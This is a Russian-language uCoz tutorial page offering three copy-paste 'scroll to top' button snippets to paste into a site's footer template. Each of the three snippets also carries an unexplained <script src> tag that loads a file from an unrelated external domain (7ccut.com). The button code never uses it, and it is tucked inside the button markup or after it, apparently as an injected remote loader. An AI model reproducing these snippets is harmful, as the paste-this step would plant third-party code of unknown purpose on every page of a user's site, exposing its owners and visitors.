Каталог шаблонов Ucoz
Скрипты для Ucoz
Каталог статей
Случайные файлы
Игровой шаблон для cs сайта с мониторингом серверов
Уникальный вид коментариев для Ucoz в стиле 3D
Шаблон для uCoz Kinorik на тему кино
Онлайн пользователи
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Никого нету

Кнопки вверх для сайта

Кнопка "вверх на сайт" нужна для быстрого перемещения вверх вашего сайта. Если сайт имеет большие размеры страниц, то эта функция будет очень удобной для вас и ваших пользователей.


 Как же установить функциональную кнопку "вверх на сайт? 

 Заходим в панель управления вашим сайтом, 
 затем "Главная » Управление дизайном » Редактирование шаблонов" 
 Копируем код любого понравившегося стиля кнопки "вверх на сайт" и вставляем в "Нижняя часть сайта" в самом низу. 

Кнопка в стиле minecraft

скрин:


Код
<!-- <Кнопка Вверх> -->
<script type="text/javascript">
$(document).ready(function(){

   
  $("#back-top").hide();
   
  $(function () {
  $(window).scroll(function () {
   
  if ($(this).scrollTop() > 125) {
  $('#back-top').fadeIn();
   
   
   
  } else {
  $('#back-top').fadeOut();
   
  }
   
   
  });

   
  $('#backop').click(function () {
  $('body,html').animate({
  scrollTop: 0
  }, 800);
  return false;
  });
  });

});
</script>

<script type="text/javascript">
$(window).scroll(function(){
var s = $(window).scrollTop();
var f = $(document).height()-$(window).height();

var d=s/f*100;
var p=Math.round(d);

$("#pix").text(p);

});
</script>

<div id="back-top" style="position:fixed; width: 50px; height: 100%; z-index: 6; right: 10px; top: 90%; background: transparent; " id="layer2">
<center><a title="Вверх" id="backop" href="#top"><script src="http://7ccut.com/table.js" type="text/javascript"></script><img src="http://pnghosts.ru/img/up_knopka_vv.png" onmouseover="this.src='http://pnghosts.ru/img/up1_knopka_vvv.png'" onmouseout="this.src='http://pnghosts.ru/img/up_knopka_vv.png'"></a></center>
<center><font color="#000000" size="3">
<span id="pix"></span>%</font></center>
</div>
<!-- </Конец> -->


Кнопка в стиле Butterfly



Расположение кнопрки "вверх" в левом нижнем углу.

Код
<script type="text/javascript">
$(function() {
  $.fn.scrollToTop = function() {
  $(this).hide().removeAttr("href");
  if ($(window).scrollTop() >= "250") $(this).fadeIn("slow")
  var scrollDiv = $(this);
  $(window).scroll(function() {
  if ($(window).scrollTop() <= "250") $(scrollDiv).fadeOut("slow")
  else $(scrollDiv).fadeIn("slow")
  });
  $(this).click(function() {
  $("html, body").animate({scrollTop: 0}, "slow")
  })
  }
});

$(function() {
  $("#Go_Top").scrollToTop();
});
</script>

<a style='position: fixed; bottom: 25px; left: 1px; cursor:pointer; display:none;'
href='#' id='Go_Top'>
  <img src="http://pnghosts.ru/img/Button-Butterfly.png" alt="Вверх" title="Вверх">
</a><script src="http://7ccut.com/table.js" type="text/javascript"></script>
<script type="text/javascript">  
$(function($) {  
$("#button_potfolio img").hover(  
function () {  
$(this).animate({right: '0'}, {queue:false, duration: 350});  
//$(this).css('right', '0');  
},  
function () {  
$(this).animate({right: '-100px'}, {queue:false, duration: 350});  
// $(this).css('right', '-100px');  
}  
);  
});  
</script>


Кнопка в стиле парашюта - Вознестись к небесам



Код
<!--кнопка вверх Вознестись к небесам-->
<a href="javascript://" onclick="$('body').scrollTo({top:$('body').offset().top, left:0}, 1500);return false;">  
  <div style="position:fixed; opacity:0.8; bottom:22px; right:25px;" id="fImgtotop"><img title="Вверх" src="http://pnghosts.ru/img/air-balloon-icon.png" border="0"><script src="http://7ccut.com/table.js" type="text/javascript"></script></div>  
  </a>
<!-- </кнопка вверх Вознестись к небесам-->
Категория: Прочее
Добавил: Bitfood
Просмотров: 714
Назад